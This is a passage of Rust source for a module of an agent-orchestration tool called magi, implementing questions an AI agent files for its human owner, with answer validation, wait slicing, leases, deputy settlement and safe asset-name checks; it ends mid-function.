Skip to main content

magi/
ask.rs

1//! Questions: what an agent does when the next decision is the owner's.
2//!
3//! An agent that reaches a fork it has no authority to take - which storage
4//! backend, whether a breaking change is acceptable, which of two readings of
5//! the task is meant - has two options. It can guess, and produce an
6//! implementation the owner throws away; or it can stop and ask. This module is
7//! the second option, and it is the reason the graph can be left alone
8//! overnight without also being left to invent product decisions.
9//!
10//! Stopping is cheap on purpose. The run parks as [`RunStatus::Waiting`], which
11//! [`crate::daemon::settle`] refunds, so a question does not spend a task's
12//! retry budget: an operator who asks twice would otherwise come back to a held
13//! task that never had a line of code judged.
14//!
15//! # Shape
16//!
17//! Deliberately the same split as [`crate::queue`]. [`Question`] is data plus
18//! *pure* transitions - [`Question::answer`] is where a phone posting a choice
19//! the question never offered is rejected, and it touches no disk. [`Questions`]
20//! owns all I/O and is constructed with its root, so a test drives a real store
21//! in a temp directory without touching the operator's real home.
22//!
23//! One question is one JSON file under [`Questions`]'s root, written atomically.
24//! Files rather than a database because three processes read and write these
25//! records - the run that asked, `magi web` serving the phone, and `magi answer`
26//! at a terminal - and a rename is the only cross-process atomic write that
27//! needs no coordination between them. It is also why the wait below polls: the
28//! answer arrives in a file written by a process this one has no channel to.
29//!
30//! [`RunStatus::Waiting`]: crate::run::RunStatus::Waiting
31
32use std::path::{Path, PathBuf};
33use std::time::Duration;
34
35use anyhow::{Context, Result, bail};
36use jiff::Timestamp;
37use serde::{Deserialize, Serialize};
38
39use crate::config;
40use crate::proc::Quiet as _;
41use crate::run::RunStatus;
42
43/// On-disk format for a question. Bumped when a field's meaning changes, or -
44/// as with [`Question::thread`], [`Question::answer_timeout`] and now the
45/// waiter bookkeeping ([`Question::cwd`], [`Question::waiter`],
46/// [`Question::delivered_turns`], [`Question::answer_delivered`]) - when a
47/// new field is added that a much older magi has no notion of at all.
48///
49/// The web UI is written against this shape by hand - there is no shared schema
50/// between the front end and this struct - so a field that changes meaning
51/// without a bump here is a UI that lies silently.
52///
53/// A file is refused only when its own `schema` is *greater* than this one -
54/// see [`read_path`] - never merely different: `#[serde(default)]` on every
55/// field added since 1 is what makes an older file's absence of `thread` mean
56/// "no conversation yet" rather than "unreadable", and a strict equality check
57/// would turn every bump into an upgrade that breaks reading yesterday's
58/// question files.
59pub const SCHEMA: u32 = 5;
60
61/// How often the wait re-reads the question file.
62///
63/// Three seconds: the answer comes from a human on a phone, so the difference
64/// between three seconds and three hundred milliseconds is invisible to them,
65/// while a tight loop would `stat` and parse a file thousands of times per
66/// minute for a wait that routinely lasts hours. Nothing is held between polls -
67/// no lock, no open handle - because `magi web` and `magi answer` write the
68/// same file from other processes.
69const POLL: Duration = Duration::from_secs(3);
70
71/// How long an agent's reply may go unnoticed before it earns its own
72/// notification.
73///
74/// An operator reading the card when the agent replies does not need paging
75/// again for a conversation they are already in; one who walked away still
76/// needs the tap on the shoulder. Five minutes is a judgement call about that
77/// line, not a policy a repository has an opinion about, which is why it lives
78/// here rather than in `magi.toml`: the operator cannot tell from `magi.toml`
79/// whether they are still looking at the phone, and neither can this build, so
80/// there is nothing for a per-repository setting to be *right* about.
81const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);
82
83/// How long the operator's notification command may run before it is killed.
84///
85/// A webhook that hangs must not hang the run. Twenty seconds is long enough
86/// for a slow HTTP round trip and short enough that the operator still gets the
87/// question filed and the run parked in a bounded time.
88const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
89
90/// The longest a single `magi ask` invocation may block on the owner before
91/// it hands the wait back to whatever is running it, rather than to
92/// [`Question::abandon`].
93///
94/// `answer_timeout` defaults to a day, and that is a deadline for the
95/// *question*, not a budget the calling process is free to spend all at
96/// once: an agent CLI's own shell tool kills a command that runs much longer
97/// than this, and the child it kills is `magi ask` itself - the one thing
98/// that would have read the owner's answer. Run 20260908-205802-c9eb is what
99/// that looks like end to end: seat `impl-A` asked, its tool timed the wait
100/// out, and the seat's own summary said it had backgrounded the blocking
101/// `magi ask` and would "continue once the owner replies" - except nothing
102/// was left to notice the reply. The seat exited `completed`, the
103/// backgrounded child died with it, and the owner's eventual answer on the
104/// web UI had nobody left to read it.
105///
106/// So a wait is sliced instead: this call blocks for at most `WAIT_SLICE`
107/// and returns [`Wait::Pending`] if nothing happened, which is not a
108/// failure - the caller runs `magi ask --wait <id>` again, in a fresh
109/// process the tool timeout has never seen. Four minutes leaves a ten-minute
110/// tool budget room for the CLI's own startup and the notification's round
111/// trip, while staying long enough that an owner who answers within the hour
112/// is not making an agent loop through fifteen slices to hear about it.
113const WAIT_SLICE: Duration = Duration::from_secs(240);
114
115/// How long a lease stays believable after its last beat.
116///
117/// Longer than [`WAIT_SLICE`]'s hand-back gap by a wide margin: a slice that
118/// ends with [`Wait::Pending`] leaves the asking agent a moment to call
119/// `magi ask --wait` again, and a reply leaves it a moment to call `--thread`.
120/// A holder that beats every [`POLL`] and is silent for ninety seconds is gone
121/// or about to be, and a lease that is merely between two calls must not be
122/// mistaken for that - the daemon waiter would start a second agent on a
123/// conversation the first is still in.
124pub const LEASE_TTL: Duration = Duration::from_secs(90);
125
126/// How long [`Questions::update`]'s lock may be held before it is presumed
127/// left behind by a writer that died.
128const LOCK_STALE: Duration = Duration::from_secs(10);
129
130/// Environment variable naming the base URL of the web UI, for `{url}`.
131///
132/// A run cannot discover this by itself: `magi web` is a different process,
133/// usually started by hand and often on a different machine on the tailnet, and
134/// the address it settled on (Tailscale IP, port, or the fallback it warned
135/// about) exists only in that process. So the operator names it once, in the
136/// environment `magi serve` runs in - `magi web --open` prints exactly the
137/// string to use on stdout. Unset means `{url}` expands to nothing rather than
138/// to a guess: a notification carrying a link to an address nothing is
139/// listening on is worse than one carrying no link at all.
140pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
141
142/// Largest panel magi will store, html plus assets.
143///
144/// Checked as a total, before a single byte is written, because the failure
145/// this prevents is not a full disk but a half-copied panel: an agent that
146/// points at a 200 MB screen recording must get one clean error, not a
147/// directory holding the three small files that fitted before the copy died.
148/// Eight mebibytes is far more than a diff, a table and a handful of images
149/// need, and small enough that a phone on a hotel link still renders it.
150pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
151
152/// Suffix of the directory holding one question's panel.
153///
154/// A sibling of `<id>.json` rather than a subdirectory of the store, so
155/// [`Questions::list`] - which takes every `*.json` in the root - cannot ever
156/// see it, and so a panel travels with the question it belongs to.
157const PANEL_DIR: &str = ".panel";
158
159/// The panel's entry point inside its directory.
160const PANEL_HTML: &str = "index.html";
161
162/// Scratch directory a panel is assembled in before it is swapped into place.
163const PANEL_TMP: &str = ".panel.tmp";
164
165/// The one asset filename rule, applied on write **and** on read.
166///
167/// Exactly `^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$`, and additionally never
168/// containing `..`. The pattern is this narrow because the name arrives from
169/// two untrusted directions and is then joined onto a path: an agent naming
170/// the asset, and a URL naming it back to [`Questions::panel_asset`]. Every
171/// character that could change what the join means is outside the set - `/`
172/// and `\` cannot appear, so no name can descend or escape; a leading `.` is
173/// refused, so no name can be `..`, `.` or a dotfile; a drive letter's `:` is
174/// refused, which matters because on Windows `Path::join` with an absolute
175/// path *discards the whole prefix* and would serve any file on the disk.
176/// `..` is refused anywhere rather than only at the front so the rule reads
177/// the same as the sentence "no traversal" to anyone auditing it.
178///
179/// The length bound keeps a name inside every filesystem's limit, so a panel
180/// that stores cannot fail to store on the operator's other machine.
181pub fn valid_asset_name(name: &str) -> bool {
182    if name.is_empty() || name.len() > 64 || name.contains("..") {
183        return false;
184    }
185    let mut chars = name.chars();
186    chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
187        && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
188}
189
190/// Where a question is in its life.
191#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
192#[serde(rename_all = "lowercase")]
193pub enum QuestionStatus {
194    /// Asked, and waiting for the owner. A run is parked behind it.
195    Open,
196    /// The owner decided. [`Question::answer`] holds what they said.
197    Answered,
198    /// Nobody answered in time, or the question outlived the run that asked.
199    /// Kept rather than deleted: what was asked and never answered is the
200    /// evidence that the operator was the bottleneck.
201    Abandoned,
202}
203
204impl QuestionStatus {
205    /// Is a run still parked behind this question?
206    pub fn open(self) -> bool {
207        matches!(self, Self::Open)
208    }
209
210    /// Lowercase name, as it appears on disk and in the API.
211    pub fn as_str(self) -> &'static str {
212        match self {
213            Self::Open => "open",
214            Self::Answered => "answered",
215            Self::Abandoned => "abandoned",
216        }
217    }
218}
219
220/// What the owner said.
221///
222/// Two shapes rather than one string because the question decides which is
223/// admissible, and [`Question::answer`] enforces it. A phone that posts
224/// `{"choice": "Redis"}` to a question that never offered Redis is a bug in the
225/// front end, and it is caught here rather than handed to an agent as fact.
226#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
227#[serde(rename_all = "lowercase")]
228pub enum Answer {
229    /// One of the offered choices, verbatim.
230    Choice(String),
231    /// Free text, for a question that offered no choices.
232    Text(String),
233}
234
235/// What the daemon does to the task behind a question when a particular
236/// choice is answered.
237///
238/// A closed set, attached to a choice by the asker (`magi ask --choice X
239/// --action X=resume`) and matched by the choice's exact text. Nothing here
240/// is ever derived from the wording of a label or of a free-text answer: a
241/// question without an action for the chosen label does nothing but answer.
242#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
243#[serde(tag = "do", rename_all = "lowercase")]
244pub enum ChoiceAction {
245    /// Resume this run of the task that owns the question.
246    Resume {
247        /// The run to continue. Must still be the task's latest run.
248        run: String,
249    },
250    /// Requeue the task as a fresh competition.
251    Requeue,
252    /// Close the task as done.
253    Done,
254}
255
256impl ChoiceAction {
257    /// Parse a `--action` value: `<label>=<verb>`, where the verb is
258    /// `resume[:<run>]`, `requeue` or `done`. A `resume` without a run takes
259    /// `default_run` (the asker's own `MAGI_RUN`). Returns the label and its
260    /// action; whether the label is one of the choices is the caller's check.
261    pub fn parse(spec: &str, default_run: &str) -> Result<(String, Self)> {
262        let Some((label, verb)) = spec.rsplit_once('=') else {
263            bail!("`--action {spec}` must look like `<choice>=<resume[:run]|requeue|done>`");
264        };
265        let label = label.trim();
266        if label.is_empty() {
267            bail!("`--action {spec}` names no choice before `=`");
268        }
269        let verb = verb.trim();
270        let action = match verb.split_once(':') {
271            Some(("resume", run)) if !run.trim().is_empty() => Self::Resume {
272                run: run.trim().to_owned(),
273            },
274            None if verb == "resume" => {
275                if default_run.is_empty() {
276                    bail!("`--action {spec}` names no run and MAGI_RUN is not set");
277                }
278                Self::Resume {
279                    run: default_run.to_owned(),
280                }
281            }
282            None if verb == "requeue" => Self::Requeue,
283            None if verb == "done" => Self::Done,
284            _ => bail!(
285                "unknown action `{verb}` in `--action {spec}`; \
286                 use resume[:<run>], requeue or done"
287            ),
288        };
289        Ok((label.to_owned(), action))
290    }
291
292    /// Short human wording, for `magi show` and the card.
293    pub fn describe(&self) -> String {
294        match self {
295            Self::Resume { run } => format!("resume run {}", short(run)),
296            Self::Requeue => "requeue the task".to_owned(),
297            Self::Done => "mark the task done".to_owned(),
298        }
299    }
300}
301
302/// Parse every `--action` value against the offered `choices`, refusing a
303/// label the question does not offer (it could never fire).
304pub fn parse_actions(
305    specs: &[String],
306    choices: &[String],
307    default_run: &str,
308) -> Result<std::collections::BTreeMap<String, ChoiceAction>> {
309    let mut out = std::collections::BTreeMap::new();
310    for spec in specs {
311        let (label, action) = ChoiceAction::parse(spec, default_run)?;
312        if !choices.contains(&label) {
313            bail!(
314                "`--action {spec}`: `{label}` is not one of the --choice values ({})",
315                choices.join(", ")
316            );
317        }
318        if out.insert(label.clone(), action).is_some() {
319            bail!("more than one --action for `{label}`");
320        }
321    }
322    Ok(out)
323}
324
325/// Who wrote one turn of a question's conversation.
326///
327/// Two values, not three: [`Question::thread`] is the record of a single
328/// question stopping and resuming, and the agent that resumes it is always
329/// the one that asked - a fresh consultant would have to be caught up on
330/// everything the first agent already knows, which is the round trip this
331/// module exists to avoid. The names and the wire spelling deliberately match
332/// [`crate::chat::Who`], which this module does not depend on: the two are the
333/// same idea in two products, and giving them the same shape is what lets the
334/// phone render both with one component.
335#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
336#[serde(rename_all = "lowercase")]
337pub enum Who {
338    /// The person the agent asked.
339    Operator,
340    /// The agent that asked, replying to a question of its own rather than
341    /// answering.
342    Agent,
343}
344
345/// One turn in a question's back-and-forth, after the question itself was
346/// asked.
347///
348/// The question's own `summary`/`detail`/`choices` already carry the agent's
349/// opening move, so a turn only exists from the moment the owner talks back -
350/// [`Question::thread`] starts empty and stays that way for the overwhelming
351/// majority of questions, which are answered on the first read.
352#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
353#[serde(deny_unknown_fields)]
354pub struct Turn {
355    /// Who said it.
356    pub who: Who,
357    /// What they said.
358    pub body: String,
359    /// When they said it.
360    pub at: Timestamp,
361}
362
363/// Who is keeping watch over an open question.
364#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
365#[serde(rename_all = "lowercase")]
366pub enum WaiterKind {
367    /// The `magi ask` process the agent started.
368    Asker,
369    /// The `magi serve` waiter ([`crate::waiter`]), resuming the asking seat's
370    /// own session because the asker is gone.
371    Daemon,
372    /// The question's deputy ([`crate::deputy`]): a short-lived seat that
373    /// `magi serve` runs for a question the conductor filed, so that something
374    /// which remembers why it was asked is on the other end.
375    Deputy,
376}
377
378/// The follow-up seat a conductor question hands its wait to.
379///
380/// The conductor itself never waits (see [`crate::conduct`]), so a free-text
381/// reply to its question would reach nobody. A deputy is a seat of its own -
382/// keyed `deputy-<question id>`, never the conductor's shared seat - that
383/// inherits what the conductor knew about this one question ([`Deputy::brief`])
384/// and blocks on it with `magi ask --wait`. Persisted on the question so a
385/// restarted daemon resumes the same CLI conversation instead of assuming it.
386///
387/// Written only through [`Questions::update`]: the owner's say and answer land
388/// on the same file.
389#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
390pub struct Deputy {
391    /// Why the question was asked, what each choice leads to: the conductor's
392    /// context for this one question, handed to the deputy in its prompt.
393    pub brief: String,
394    /// The agent that holds the seat. Empty until the first start.
395    #[serde(default)]
396    pub agent: String,
397    /// The deputy's own conversation. `None` until the first start.
398    #[serde(default)]
399    pub seat: Option<crate::agent::SeatState>,
400    /// How many times a deputy turn was started for this question. Never reset
401    /// by a restart, so a deputy that keeps dying is bounded.
402    #[serde(default)]
403    pub starts: u32,
404}
405
406impl Deputy {
407    /// A deputy that has not started yet, holding `brief`.
408    pub fn new(brief: String) -> Self {
409        Self {
410            brief,
411            agent: String::new(),
412            seat: None,
413            starts: 0,
414        }
415    }
416}
417
418/// Seat name of the deputy for question `id`.
419pub fn deputy_seat_key(id: &str) -> String {
420    format!("deputy-{}", short(id))
421}
422
423/// The record's note of who was last known to be waiting.
424///
425/// A note, not a promise: nothing rewrites the question when a holder dies, so
426/// whether it still holds is read from the [`Lease`] beside it.
427#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
428pub struct Waiter {
429    /// Who took the wait.
430    pub kind: WaiterKind,
431    /// When they took it.
432    pub since: Timestamp,
433}
434
435/// A sidecar (`<id>.lease`) saying that something is alive and waiting.
436///
437/// A sidecar rather than a field of the question because a holder beats every
438/// few seconds, and rewriting the question that often would race the phone's
439/// answer and say with lost updates. It is not `*.json`, so
440/// [`Questions::list`] never sees it. No pid check: pids are reused and mean
441/// different things across platforms, while a beat that stopped is evidence on
442/// every one.
443#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
444pub struct Lease {
445    /// Who beat last.
446    pub kind: WaiterKind,
447    /// Their process id, for a human reading the file.
448    pub pid: u32,
449    /// When they beat last.
450    pub beat_at: Timestamp,
451}
452
453impl Lease {
454    /// Was the last beat recent enough to believe the holder is still there?
455    pub fn fresh(&self, now: Timestamp) -> bool {
456        now.as_second() - self.beat_at.as_second() <= LEASE_TTL.as_secs() as i64
457    }
458}
459
460/// One decision magi will not take on the owner's behalf.
461#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
462#[serde(deny_unknown_fields)]
463pub struct Question {
464    /// On-disk format version.
465    pub schema: u32,
466    /// Question id, e.g. `20260902-231501-ab12`. Same shape as a run's and a
467    /// task's, so the operator can paste any of them at any prefix argument.
468    pub id: String,
469    /// Run that is parked behind this question.
470    pub run: String,
471    /// Graph node the asking agent was working in, e.g. `implement`.
472    pub node: String,
473    /// Seat that asked, e.g. `impl-A`. Recorded because "which agent needs
474    /// this" decides whether the answer unblocks one candidate or all of them.
475    pub seat: String,
476    /// One line: the question itself. This is what a notification carries and
477    /// what the phone shows above the answer controls.
478    pub summary: String,
479    /// The reasoning behind the question, as markdown. May be long, may be
480    /// empty. Rendered as text nodes by the UI, never as markup.
481    pub detail: String,
482    /// The admissible answers. **Empty means free text** - that one condition
483    /// is the whole difference between the two kinds of question, on disk, in
484    /// the UI, and in [`Question::answer`]'s validation.
485    pub choices: Vec<String>,
486    /// What the daemon does when a given choice is answered, keyed by the
487    /// choice's exact text. Empty for an ordinary question. A key is always
488    /// one of [`Question::choices`]; `#[serde(default)]` so older files read.
489    #[serde(default)]
490    pub actions: std::collections::BTreeMap<String, ChoiceAction>,
491    /// Does this question have an agent-authored HTML panel beside it?
492    ///
493    /// Serialised with a default so a question written by an older magi - or
494    /// by hand - still deserialises rather than failing the whole store, which
495    /// under [`Questions::list`]'s skip-unreadable rule would quietly hide the
496    /// open question the operator was looking for.
497    #[serde(default)]
498    pub panel: bool,
499    /// Files copied in beside the panel's html, by base name, sorted.
500    ///
501    /// The list exists so a reader knows what a panel is made of without
502    /// walking the directory, and every entry satisfies [`valid_asset_name`].
503    /// Sorted because it is compared - a question re-asked with the same
504    /// assets in a different argument order is not a different question.
505    #[serde(default)]
506    pub assets: Vec<String>,
507    /// Current state.
508    pub status: QuestionStatus,
509    /// When the agent asked.
510    pub asked_at: Timestamp,
511    /// When the owner answered, if they did.
512    pub answered_at: Option<Timestamp>,
513    /// What they said.
514    pub answer: Option<Answer>,
515    /// Everything said after the question itself, oldest first: the owner
516    /// asking back, the agent replying, as many times as it takes before an
517    /// [`Answer`] lands.
518    ///
519    /// `#[serde(default)]` so a question written before this field existed -
520    /// every question on disk before this build - still deserialises as one
521    /// with no conversation yet, rather than failing [`Questions::list`]'s
522    /// read and quietly hiding an open question from the operator.
523    #[serde(default)]
524    pub thread: Vec<Turn>,
525    /// The `answer_timeout`, in seconds, that was in force when this question
526    /// was first asked. `0` means unrecorded - a question written before this
527    /// field existed, or one filed by a flow (land's merge-approval gate)
528    /// that never sets it because it never resumes a sliced wait.
529    ///
530    /// [`Question::new`] cannot know this - the effective timeout (`--timeout`,
531    /// or the config default) is decided by the caller, after the question
532    /// already exists - so it starts at `0` here and whoever files a fresh
533    /// question sets it once, the same way [`Question::panel`] is set by
534    /// [`Questions::put_panel`] rather than by the constructor. It is never
535    /// touched again: `magi ask --wait` reads it as the one deadline it is
536    /// allowed to enforce, precisely so that a `--timeout` given (or omitted)
537    /// on a later call can never quietly extend or shrink the budget the
538    /// question was actually asked with.
539    #[serde(default)]
540    pub answer_timeout: u64,
541    /// The directory the asking agent was working in when it asked, so the
542    /// daemon waiter can resume that agent's session from where it stood.
543    /// `None` for a question no `magi ask` filed (land's approval gate, a
544    /// release notice, one written before this field existed): those have no
545    /// agent to hand anything back to, and the waiter leaves them alone.
546    #[serde(default)]
547    pub cwd: Option<String>,
548    /// Who was last known to be waiting - see [`Waiter`].
549    #[serde(default)]
550    pub waiter: Option<Waiter>,
551    /// How many entries of [`Question::thread`] the agent has been shown, by
552    /// the asking process printing them or by the waiter resuming the seat.
553    /// The owner's turn at an index at or past this has reached nobody yet.
554    #[serde(default)]
555    pub delivered_turns: usize,
556    /// Has the agent been told the [`Answer`]? The asker prints it as it
557    /// returns; the waiter delivers it when the asker was gone.
558    #[serde(default)]
559    pub answer_delivered: bool,
560    /// The follow-up seat waiting on this question, for a question the
561    /// conductor filed. `None` for every other question.
562    #[serde(default)]
563    pub deputy: Option<Deputy>,
564}
565
566impl Question {
567    /// Ask something. Persist it with [`Questions::put`], or hand it to
568    /// [`ask_and_wait`], which files it and waits.
569    pub fn new(
570        run: String,
571        node: String,
572        seat: String,
573        summary: String,
574        detail: String,
575        choices: Vec<String>,
576    ) -> Self {
577        Self {
578            schema: SCHEMA,
579            id: new_id(),
580            run,
581            node,
582            seat,
583            summary,
584            detail,
585            choices,
586            actions: std::collections::BTreeMap::new(),
587            panel: false,
588            assets: Vec::new(),
589            status: QuestionStatus::Open,
590            asked_at: Timestamp::now(),
591            answered_at: None,
592            answer: None,
593            thread: Vec::new(),
594            answer_timeout: 0,
595            cwd: None,
596            waiter: None,
597            delivered_turns: 0,
598            answer_delivered: false,
599            deputy: None,
600        }
601    }
602
603    /// Short form used in reports and on the phone, matching a run's short id.
604    pub fn short(&self) -> &str {
605        short(&self.id)
606    }
607
608    /// The action attached to the choice that was answered, if the question
609    /// is answered with a choice that carries one. Free text never matches.
610    pub fn chosen_action(&self) -> Option<&ChoiceAction> {
611        match (&self.status, &self.answer) {
612            (QuestionStatus::Answered, Some(Answer::Choice(c))) => self.actions.get(c),
613            _ => None,
614        }
615    }
616
617    /// Does this question want free text rather than one of a set?
618    pub fn free_text(&self) -> bool {
619        self.choices.is_empty()
620    }
621
622    /// Record an answer. Rejects a choice the question does not offer, free
623    /// text on a multiple-choice question, an empty answer, and a second
624    /// answer.
625    ///
626    /// Every rejection here is a case where accepting would put a fabrication
627    /// in front of an agent as if the owner had said it. The messages are
628    /// distinct because the caller is a web handler that shows them verbatim,
629    /// and "that is not one of the choices" and "this question is multiple
630    /// choice" are different mistakes with different fixes.
631    pub fn answer(&mut self, answer: Answer) -> Result<()> {
632        match self.status {
633            QuestionStatus::Answered => bail!(
634                "question {} was already answered; the run has moved on and a \
635                 second answer would be a decision nobody acted on",
636                self.short()
637            ),
638            QuestionStatus::Abandoned => bail!(
639                "question {} was abandoned and the run behind it is gone",
640                self.short()
641            ),
642            QuestionStatus::Open => {}
643        }
644        let body = match &answer {
645            Answer::Choice(c) | Answer::Text(c) => c.as_str(),
646        };
647        if body.trim().is_empty() {
648            bail!(
649                "question {} needs an answer; an empty one tells the agent \
650                 nothing and it would guess anyway",
651                self.short()
652            );
653        }
654        match &answer {
655            Answer::Choice(c) if self.free_text() => bail!(
656                "question {} asks for free text, so `{c}` cannot be a choice \
657                 it offered",
658                self.short()
659            ),
660            Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
661                "`{c}` is not one of the choices question {} offers: {}",
662                self.short(),
663                self.choices.join(", ")
664            ),
665            Answer::Text(_) if !self.free_text() => bail!(
666                "question {} is multiple choice; answer with one of: {}",
667                self.short(),
668                self.choices.join(", ")
669            ),
670            _ => {}
671        }
672        self.answered_at = Some(Timestamp::now());
673        self.answer = Some(answer);
674        self.status = QuestionStatus::Answered;
675        Ok(())
676    }
677
678    /// Give up on an answer, keeping the record of what was asked.
679    ///
680    /// An answered question is left alone, which matters at exactly one moment:
681    /// the owner answering in the same second the wait's deadline passes. The
682    /// answer is the thing worth keeping there, and it has already been written
683    /// by another process.
684    ///
685    /// The reason is appended to [`Question::detail`] because the on-disk shape
686    /// is a contract with the front end and has no field of its own for it -
687    /// and "asked at 3am, nobody home for a day" belongs with the question, not
688    /// only in a log the operator will never open.
689    pub fn abandon(&mut self, why: impl Into<String>) {
690        if !self.status.open() {
691            return;
692        }
693        self.status = QuestionStatus::Abandoned;
694        let why = why.into();
695        let why = why.trim();
696        if why.is_empty() {
697            return;
698        }
699        if !self.detail.is_empty() {
700            self.detail.push('\n');
701        }
702        self.detail.push_str("\n_Abandoned: ");
703        self.detail.push_str(why);
704        self.detail.push_str("._\n");
705    }
706
707    /// The answer as the asking agent should read it.
708    ///
709    /// One string for both kinds of question: the agent's prompt says "the
710    /// owner answered:", and a chosen option and a typed sentence are the same
711    /// thing at that point. `None` while the question is open or abandoned, so
712    /// a caller cannot mistake silence for a decision.
713    pub fn resolution(&self) -> Option<String> {
714        match (self.status, &self.answer) {
715            (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
716                Some(a.clone())
717            }
718            _ => None,
719        }
720    }
721
722    /// A deputy recording that the owner's own words settled the question.
723    ///
724    /// The owner decided in free text ("setup done") on a question that offers
725    /// choices, so no choice was ever tapped. This records `label` as the
726    /// answer - and nothing else: applying it is the daemon's existing path
727    /// for an answered conductor question. Refused unless the caller is this
728    /// question's deputy seat, `label` is one of the offered choices, and
729    /// `quote` appears verbatim in something the owner said; the quote is
730    /// kept in the thread as an agent turn so the record shows what the
731    /// decision rests on.
732    pub fn settle_by_deputy(&mut self, seat: &str, label: &str, quote: &str) -> Result<()> {
733        let Some(deputy) = &self.deputy else {
734            bail!("question {} has no deputy", self.short());
735        };
736        let own = deputy.seat.as_ref().map(|s| s.key.as_str());
737        if own != Some(seat) {
738            bail!("only the deputy of question {} may settle it", self.short());
739        }
740        if !self.choices.iter().any(|c| c == label) {
741            bail!(
742                "`{label}` is not one of the choices offered on question {}",
743                self.short()
744            );
745        }
746        let quote = quote.trim();
747        if quote.is_empty()
748            || !self
749                .thread
750                .iter()
751                .any(|t| t.who == Who::Operator && t.body.contains(quote))
752        {
753            bail!(
754                "the quote is not something the owner said on question {}",
755                self.short()
756            );
757        }
758        if self.node == crate::land::APPROVAL_NODE {
759            // The merge is irreversible and a say is not a decision: only the
760            // owner's whole message being the answer word counts, so "don't
761            // merge" or "merge, but ..." can never be quoted into a merge.
762            let word = if label == crate::land::APPROVE {
763                Some(crate::land::APPROVE)
764            } else if label == crate::land::HOLD {
765                Some(crate::land::HOLD)
766            } else {
767                None
768            };
769            let exact = word.is_some_and(|w| {
770                // The owner's latest message must be the word: an earlier one
771                // may since have been qualified or withdrawn.
772                quote.eq_ignore_ascii_case(w)
773                    && self
774                        .thread
775                        .iter()
776                        .rev()
777                        .find(|t| t.who == Who::Operator)
778                        .is_some_and(|t| t.body.trim().eq_ignore_ascii_case(w))
779            });
780            if !exact {
781                bail!(
782                    "on a merge approval only an owner message that is exactly `{label}` \
783                     settles it; ask what they mean with `--thread` instead"
784                );
785            }
786        }
787        self.thread.push(Turn {
788            who: Who::Agent,
789            body: format!("Settled as `{label}` on the owner's words: \"{quote}\""),
790            at: Timestamp::now(),
791        });
792        self.delivered_turns = self.thread.len();
793        self.answer(Answer::Choice(label.to_owned()))
794    }
795
796    /// The owner speaking back without answering: a request for context, a
797    /// clarifying question, anything short of a decision.
798    ///
799    /// Rejects the same two states [`Question::answer`] does, and for the same
800    /// reason - a question with a recorded [`Answer`] or an abandoned one has
801    /// no run left listening for a reply - and an empty turn, which would tell
802    /// the agent nothing it didn't already know. Never changes `status`: the
803    /// question stays [`QuestionStatus::Open`], because the owner did not
804    /// decide anything, they only spoke, and `count_open`/`open_for` must keep
805    /// counting this as the one question it always was.
806    pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
807        match self.status {
808            QuestionStatus::Answered => bail!(
809                "question {} was already answered; there is nothing left to \
810                 discuss",
811                self.short()
812            ),
813            QuestionStatus::Abandoned => bail!(
814                "question {} was abandoned and the run behind it is gone",
815                self.short()
816            ),
817            QuestionStatus::Open => {}
818        }
819        let body = body.into();
820        if body.trim().is_empty() {
821            bail!("a message to question {} cannot be empty", self.short());
822        }
823        self.thread.push(Turn {
824            who: Who::Operator,
825            body,
826            at: Timestamp::now(),
827        });
828        Ok(())
829    }
830
831    /// The agent replying to the owner's last word, in place of an answer:
832    /// same question, same id, another round.
833    ///
834    /// `choices` replaces [`Question::choices`] wholesale rather than merging,
835    /// on the same reasoning [`Questions::put_panel`] replaces a panel
836    /// wholesale: the whole point of asking back is that what should be
837    /// offered next may have changed, and a caller that wanted the old set
838    /// unchanged can simply pass it again. An empty `Vec` means free text,
839    /// exactly as it does when the question is first asked.
840    pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
841        match self.status {
842            QuestionStatus::Answered => bail!(
843                "question {} was already answered; replying now would not \
844                 reach anyone",
845                self.short()
846            ),
847            QuestionStatus::Abandoned => bail!(
848                "question {} was abandoned and the run behind it is gone",
849                self.short()
850            ),
851            QuestionStatus::Open => {}
852        }
853        let body = body.into();
854        if body.trim().is_empty() {
855            bail!("a reply to question {} cannot be empty", self.short());
856        }
857        // An action whose label is no longer offered could never fire.
858        self.actions.retain(|label, _| choices.contains(label));
859        self.choices = choices;
860        let unread = self.unread_from_owner().is_some();
861        self.thread.push(Turn {
862            who: Who::Agent,
863            body,
864            at: Timestamp::now(),
865        });
866        // The agent has read everything up to its own reply - but only if
867        // nothing the owner said in the meantime is still unread. A second say
868        // that landed after the agent's last look must stay undelivered.
869        if !unread {
870            self.delivered_turns = self.thread.len();
871        }
872        Ok(())
873    }
874
875    /// What the owner said that the agent has not read yet, oldest first,
876    /// joined. `None` unless the question is open and such a turn exists.
877    ///
878    /// Not [`Question::waiting_on_agent`]: an agent's reply can land *after* a
879    /// second owner turn it never saw, which leaves the last turn the agent's
880    /// and the ball apparently back with the owner while a say is still unread.
881    pub fn unread_from_owner(&self) -> Option<String> {
882        if !self.status.open() {
883            return None;
884        }
885        let said = self.undelivered_owner_turns();
886        (!said.is_empty()).then(|| said.join("\n\n"))
887    }
888
889    /// Owner turns the agent has not been handed yet, oldest first, whatever
890    /// the question's status. [`Question::unread_from_owner`] adds the "still
891    /// open" guard the waiter and the deputy rely on; an answer being handed
892    /// over needs the says that came before it even though the question is
893    /// closed by then.
894    pub fn undelivered_owner_turns(&self) -> Vec<&str> {
